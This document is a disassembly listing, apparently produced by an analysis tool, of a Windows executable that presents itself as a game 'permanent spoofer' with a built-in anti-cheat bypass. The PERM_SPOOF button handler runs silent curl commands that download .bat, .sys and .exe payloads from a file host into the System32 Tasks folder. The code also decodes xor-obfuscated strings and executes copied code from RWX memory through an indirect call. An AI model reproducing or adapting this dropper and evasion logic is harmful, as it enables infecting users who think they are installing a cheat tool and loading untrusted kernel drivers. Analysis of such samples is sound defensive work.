Function at 0x14003ee50
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Delete file
Encode data using xor
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x850
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
movaps xmmword [rax - 0xa8], xmm14
movaps xmmword [rax - 0xb8], xmm15
mov rax, qword [0x1400e20c0]
xor rax, rsp
mov qword [rsp + 0x7a0], rax
xor r13d, r13d
mov dword [rsp + 0x1ac], r13d
call fcn.14003e920
mov byte [rsp + 0x60], r13b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x790]
call fcn.14004b690
nop
mov rcx, rax
call fcn.14003d2f0
nop
lea rcx, [rsp + 0x790]
call fcn.14003d2d0
lea rcx, [0x14018d648]
call fcn.14004aa40
lea rcx, [0x14018d370]
call fcn.14004aa40
lea rcx, [0x14018d668]
call fcn.14004aa40
lea rcx, [0x14018d350]
call fcn.14004aa40
lea rcx, [0x14018d390]
call fcn.14004aa40
lea rcx, [0x14018d3b0]
call fcn.14005bf40
mov dword [rsp + 0x440], 0x50
mov dword [rsp + 0x444], 0x40
lea rax, [0x140049700]
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x450], r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x458], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x460], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x470], xmm1
lea rax, str.ImGui_Example
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], r13
lea rcx, [rsp + 0x440]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov edi, 1
mov ecx, edi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xe1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x145
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x1c2
mov dword [rsp + 0x30], 0x28a
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, [0x1400cdf38]
mov rdx, qword [rsp + 0x480]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x14018d310], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x14018d310]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x14018d310]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400cf440]
movdqu xmmword [rsp + 0x520], xmm0
lea rdx, [rsp + 0x520]
mov rcx, qword [0x14018d310]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14018d310]
call fcn.14003b860
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0x560]
call fcn.140049450
mov dword [rsp + 0x20], edi
mov r9d, 0x40
mov r8d, 3
lea rdx, str.key.cock
lea rcx, [rsp + 0x560]
call fcn.14004a740
nop
lea rcx, [rsp + 0x560]
call fcn.14004a730
test al, al
je 0x14003f149
lea rdx, [0x14018c248]
lea rcx, [rsp + 0x560]
call fcn.14004b720
lea rcx, [rsp + 0x560]
call fcn.14004a6f0
lea rdx, [0x14018c248]
lea rcx, [rsp + 0x500]
call fcn.14004ab00
mov rdx, rax
lea rcx, [0x14018d3b0]
call fcn.14005dd90
movzx eax, byte [0x14018d5e0]
neg al
sbb ecx, ecx
and ecx, 2
mov dword [0x14018d724], ecx
xorps xmm0, xmm0
movups xmmword [0x14018d318], xmm0
lea rdx, [0x14018d318]
mov rcx, qword [0x14018d310]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14018d310]
call fcn.1400494d0
test al, al
jne 0x14003f210
call fcn.140049680
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rsp + 0x480]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rsp + 0x560]
call fcn.140049390
mov eax, edi
mov rcx, qword [rsp + 0x7a0]
xor rcx, rsp
call fcn.1400b31b0
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov edx, 0xa
mov rcx, qword [0x14018d310]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14018d310]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x38e0
mov r9d, 8
mov r8d, 0x448
lea rcx, str.1.90.5_WIP
call fcn.140014520
xor ecx, ecx
call fcn.140006410
call fcn.1400082d0
mov rbx, rax
mov qword [rax + 0x18], r13
xor ecx, ecx
call fcn.140024f10
mov rcx, qword [0x14018d310]
call fcn.14002f0f0
mov rdx, qword [0x14018d728]
mov rcx, qword [0x14018d6e8]
call fcn.14002ebc0
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
movss xmm1, dword [0x1400cf264]
movaps xmm3, xmm1
movaps xmm2, xmm1
lea rcx, [rsp + 0x4b0]
call fcn.140001af0
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400cf344]
mov r8d, 0x4d33c
lea rdx, [0x1400f1a40]
mov rcx, qword [rbx + 0x30]
call fcn.140029530
mov qword [0x14018d338], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm6, dword [0x1400cf350]
movaps xmm3, xmm6
mov r8d, 0x4d33c
lea rdx, [0x1400f1a40]
mov rcx, qword [rbx + 0x30]
call fcn.140029530
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movaps xmm3, xmm6
mov r8d, 0x4d4a8
lea rdx, [0x14013ed80]
mov rcx, qword [rbx + 0x30]
call fcn.140029530
mov qword [0x14018d330], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400cf348]
mov r8d, 0x4d4a8
lea rdx, [0x14013ed80]
mov rcx, qword [rbx + 0x30]
call fcn.140029530
mov qword [rsp + 0x30], r13
lea rax, [0x14018d348]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0xf6d2
lea rdx, [0x1400e2170]
mov rcx, qword [0x14018d6e8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x14018d340]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x7d
lea rdx, [0x1400f19c0]
mov rcx, qword [0x14018d6e8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x14018d328]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x16c
lea rdx, [0x1400f1850]
mov rcx, qword [0x14018d6e8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
call fcn.14003d330
xor bl, bl
mov dword [rsp + 0x138], ebx
mov byte [rsp + 0x60], bl
movdqa xmm10, xmmword [0x1400cf500]
movdqa xmm13, xmmword [0x1400cf550]
movdqa xmm11, xmmword [0x1400cf4f0]
movdqa xmm9, xmmword [0x1400cf540]
movdqa xmm12, xmmword [0x1400cf4b0]
movss xmm14, dword [0x1400cf318]
movss xmm15, dword [0x1400cf368]
mov esi, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x530]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14003f526
lea rcx, [rsp + 0x530]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x530]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx ebx, bl
cmp dword [rsp + 0x538], 0x12
cmove ebx, edi
mov byte [rsp + 0x60], bl
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x530]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14003f481
mov dword [rsp + 0x138], ebx
test bl, bl
je 0x14003f526
call fcn.14002ed90
call fcn.14002f100
xor ecx, ecx
call fcn.1400064f0
call fcn.140049680
mov rcx, qword [0x14018d310]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rsp + 0x480]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rsp + 0x560]
call fcn.140049390
xor eax, eax
jmp 0x14003f1a6
cmp byte [0x14018d6c8], 0
je 0x14003f59b
mov edx, esi
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14018dde8], eax
jle 0x14003f575
lea rcx, [0x14018dde8]
call fcn.1400b3520
cmp dword [0x14018dde8], 0xffffffff
jne 0x14003f575
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14018ddd8], eax
lea rcx, [0x14018dde8]
call fcn.1400b34b4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14018ddd8]
cmp eax, 0x5dc
jbe 0x14003f59b
mov byte [0x14018d6c8], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14018ddd8], eax
call fcn.14002ee80
call fcn.14002f9a0
call fcn.140008c00
mov rax, qword [0x14018d300]
movss xmm8, dword [rax + 0x18]
mulss xmm8, xmm14
movss xmm0, dword [0x14018c240]
comiss xmm0, dword [0x1400cf35c]
setae r12b
test r12b, r12b
je 0x14003f5e7
movss xmm0, dword [0x14018d708]
comiss xmm0, xmm14
jb 0x14003f5e7
mov r15b, 1
jmp 0x14003f5ea
xor r15b, r15b
lea rcx, str.Main
call fcn.14003b320
mov rcx, qword [0x14018d300]
mov rax, qword [rcx + 0x4010]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4010]
mov r14, qword [rax + 0x2a8]
movss xmm6, dword [rax + 0x28]
movss xmm7, dword [rax + 0x2c]
movss xmm0, dword [0x14018d6e0]
movss dword [rcx + 0x38e8], xmm0
movss xmm1, dword [0x14018d6e0]
movss dword [rcx + 0x38ec], xmm1
call fcn.14003ab10
movss xmm0, dword [0x1400cf254]
call fcn.14003d4f0
call fcn.14003d630
mov dword [rsp + 0x28], 2
movss xmm0, dword [0x14018c238]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14018c244]
movss xmm2, dword [0x14018c240]
movss xmm1, dword [0x14018c23c]
mov rcx, qword [0x14018d348]
call fcn.14003b420
mov dword [rsp + 0x28], r13d
movss xmm0, dword [0x1400cf350]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm0
movss xmm2, dword [0x1400cf358]
movss xmm1, dword [0x1400cf3ec]
mov rcx, qword [0x14018d328]
call fcn.14003b420
mov dword [rsp + 0x28], edi
movss xmm0, dword [0x1400cf358]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1400cf33c]
movaps xmm2, xmm0
movss xmm1, dword [0x1400cf3e4]
mov rcx, qword [0x14018d340]
call fcn.14003b420
movups xmm0, xmmword [0x1400cd430]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x400]
call fcn.140039940
mov rcx, rax
call fcn.1400045d0
mov esi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
lea rcx, [rsp + 0x360]
call fcn.1400045d0
mov edi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x370], xmm0
lea rcx, [rsp + 0x370]
call fcn.1400045d0
mov ebx, eax
movups xmm0, xmmword [0x1400cd430]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x430]
call fcn.140039940
mov rcx, rax
call fcn.1400045d0
movaps xmm1, xmm7
addss xmm1, dword [0x1400cf300]
movaps xmm0, xmm6
addss xmm0, dword [0x1400cf3f0]
movss dword [rsp + 0x1c0], xmm0
movss dword [rsp + 0x1c4], xmm1
movss dword [rsp + 0x1c8], xmm6
movss dword [rsp + 0x1cc], xmm7
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rsp + 0x1c0]
lea rdx, [rsp + 0x1c8]
mov rcx, r14
call fcn.1400283d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x490], xmm0
lea rcx, [rsp + 0x490]
call fcn.1400045d0
mov esi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x348], xmm0
lea rcx, [rsp + 0x348]
call fcn.1400045d0
mov edi, eax
movups xmm0, xmmword [0x1400cd430]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x3a0]
call fcn.140039940
mov rcx, rax
call fcn.1400045d0
mov ebx, eax
movups xmm0, xmmword [0x1400cd430]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x3b0]
call fcn.140039940
mov rcx, rax
call fcn.1400045d0
movaps xmm0, xmm6
addss xmm0, dword [0x1400cf320]
movss dword [rsp + 0x1d0], xmm0
movaps xmm1, xmm7
addss xmm1, dword [0x1400cf3e0]
movss dword [rsp + 0x1d4], xmm1
addss xmm6, dword [0x1400cf314]
movss dword [rsp + 0x1d8], xmm6
movss dword [rsp + 0x1dc], xmm7
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0x1d8]
mov rcx, r14
call fcn.1400283d0
cmp dword [0x14018d724], 0
jmp 0x14003fd3f
call fcn.140049790
movss xmm2, dword [0x14018c240]
movss xmm7, dword [0x1400cf39c]
addss xmm2, xmm7
movss xmm0, dword [0x1400cf3bc]
movss dword [rsp + 0x20], xmm0
movss xmm6, dword [0x1400cf3c0]
movaps xmm3, xmm6
movss xmm8, dword [0x1400cf360]
movaps xmm1, xmm8
lea rcx, str.Logs
call fcn.14003b550
movss xmm1, dword [0x14018c240]
addss xmm1, xmm7
movss xmm3, dword [0x1400cf3bc]
movaps xmm2, xmm6
movaps xmm0, xmm8
call fcn.14003b640
movups xmm0, xmmword [0x1400e2140]
movaps xmmword [rsp + 0x1f0], xmm0
movss xmm2, dword [0x14018c240]
addss xmm2, dword [0x1400cf3a0]
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400cf344]
movss dword [rsp + 0x20], xmm0
mov r9, qword [0x14018d338]
movss xmm1, dword [0x1400cf374]
lea rcx, str.___LOGS
call fcn.14003a950
call fcn.14000b870
movss xmm2, dword [0x14018c240]
addss xmm2, xmm7
movss xmm8, dword [0x1400cf394]
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm6
movss xmm1, dword [0x1400cf3d4]
lea rcx, str.Parameters
call fcn.14003b550
movss xmm1, dword [0x14018c240]
addss xmm1, xmm7
movaps xmm3, xmm8
movaps xmm2, xmm6
movss xmm7, dword [0x1400cf3d4]
movaps xmm0, xmm7
call fcn.14003b640
movups xmm0, xmmword [0x1400cd420]
movdqa xmmword [rsp + 0x490], xmm0
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x3d0]
call fcn.140039940
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x490], xmm0
lea rdx, [rsp + 0x490]
lea rcx, str.__Updated__Working__Undetected_n
call fcn.140032a10
movups xmm0, xmmword [0x1400cd420]
movdqa xmmword [rsp + 0x490], xmm0
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x3e0]
call fcn.140039940
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x490], xmm0
lea rdx, [rsp + 0x490]
lea rcx, str.__Added_Built_in_Vanguard_Bypass_n
call fcn.140032a10
call fcn.14000b870
movss xmm2, dword [0x14018c240]
addss xmm2, dword [0x1400cf3c4]
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm6
movaps xmm1, xmm7
lea rcx, str.Buttons
call fcn.14003b550
movss xmm1, dword [0x14018c240]
addss xmm1, dword [0x1400cf3c4]
movaps xmm3, xmm8
movaps xmm2, xmm6
movaps xmm0, xmm7
call fcn.14003b640
movss xmm3, dword [0x14018c240]
addss xmm3, dword [0x1400cf37c]
movss dword [rsp + 0x28], xmm15
movss xmm0, dword [0x1400cf3b8]
movss dword [rsp + 0x20], xmm0
movss xmm8, dword [0x1400cf33c]
movaps xmm2, xmm8
lea rdx, [0x1400ce020]
lea rcx, str.PERM_SPOOF
call fcn.1400399c0
test al, al
je 0x140048339
mov r9d, Ordinal_41
lea r8, str.Fusion_Services__Permanent_Spoofer
lea rdx, str.Are_you_sure_you_want_to_spoof_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x14004838a
lea rcx, str.curl___silent_https:__files.catbox.moe_gv7xzv.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_j7goj8.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32TasksVolumeid64.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0xb0]
call fcn.14003e300
mov r10, rax
movups xmm0, xmmword [0x1400ceca0]
movups xmmword [rsp + 0x140], xmm0
movups xmm1, xmmword [0x1400cecb0]
movups xmmword [rsp + 0x150], xmm1
movups xmm0, xmmword [0x1400cecc0]
movups xmmword [rsp + 0x160], xmm0
movsd xmm0, qword [0x1400cecd0]
movsd qword [rsp + 0x170], xmm0
movzx eax, byte [0x1400cecd8]
mov byte [rsp + 0x178], al
mov r8d, r13d
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x140040161
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rsp + 0x144]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140040070
cmp r8d, 0x39
jge 0x14004019f
movsxd rax, r8d
lea r9, [rsp + 0x140]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140040170
mov r8, r10
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x90]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x270], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x490], xmm0
mov qword [rsp + 0x4a0], rax
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
lea rsi, [0x140000000]
lea r14, [0x14004ba90]
test rax, rax
je 0x14004023c
mov rdx, r13
cmp rax, r14
je 0x14004022b
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140040213
jmp 0x14004023c
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004031f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040265
mov r8, r13
jmp 0x1400402fe
mov rax, r14
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140040270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x270]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
mov rcx, qword [rsp + 0x490]
xor rcx, qword [rsp + 0x498]
mov rax, qword [rsp + 0x4a0]
mov qword [rax], rcx
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov r10, rax
movups xmm0, xmmword [0x1400ce8c8]
movups xmmword [rsp + 0x140], xmm0
movups xmm1, xmmword [0x1400ce8d8]
movups xmmword [rsp + 0x150], xmm1
movups xmm0, xmmword [0x1400ce8e8]
movups xmmword [rsp + 0x160], xmm0
movsd xmm0, qword [0x1400ce8f8]
movsd qword [rsp + 0x170], xmm0
mov r8d, r13d
cmp r15d, 2
jl 0x1400404cb
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rsp + 0x144]
mov r8d, dword [rsp + 0x70]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400403e0
jmp 0x140040512
lea r9, [rsp + 0x140]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400404e0
mov r8, r10
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x278], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x490], xmm0
mov qword [rsp + 0x4a0], rax
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x1400405a1
mov rdx, r13
cmp rax, r14
je 0x140040590
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140040578
jmp 0x1400405a1
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004068f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400405ca
mov r8, r13
jmp 0x14004066e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400405e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
